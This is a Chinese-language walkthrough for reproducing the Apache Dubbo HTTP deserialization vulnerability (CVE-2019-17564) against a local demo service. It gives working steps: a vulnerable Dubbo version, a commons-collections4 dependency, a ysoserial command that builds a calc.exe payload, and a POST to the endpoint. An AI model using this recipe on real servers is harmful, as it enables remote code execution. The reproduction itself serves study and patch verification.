1. 下載官方 demo 代碼
(暴出的漏洞是 http 協議的,故使用 http 的 demo 來重現)
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3
在項目 pom 中添加 commons-collections4 依賴(測試漏洞用)
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
運行 demo 代碼,會注冊一個 /dubbo/org.apache.dubbo.samples.http.api.DemoService/providers 的服務
http://xx.x.x.x:8080/org.apache.dubbo.samples.http.api.DemoService?anyhost=true&application=http-provider&bean.name=org.apache.dubbo.samples.http.api.DemoService&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=org.apache.dubbo.samples.http.api.DemoService&methods=sayHello&pid=1428®ister=true&release=2.7.3&server=tomcat&side=provider×tamp=1582854833741
2. 下載反序列化工具 ysoserial
https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar
生成漏洞代碼保存到 payload.ser 中:(可以調用 windows 的計算器程序)
java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser
3. 使用 postman 調用 dubbo 暴露的 http 接口
post http://localhost:8080/org.apache.dubbo.samples.http.api.DemoService
發送的數據包選擇上一步生成的進制文件 payload.ser
參考:
http://www.lmxspace.com/2020/02/16/Apache-Dubbo%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2019-17564%EF%BC%89/
https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html
如果想了解更多Dubbo源碼的知識,請移步 Dubbo源碼解讀——通向高手之路 的視頻講解: http://edu.51cto.com/sd/2e565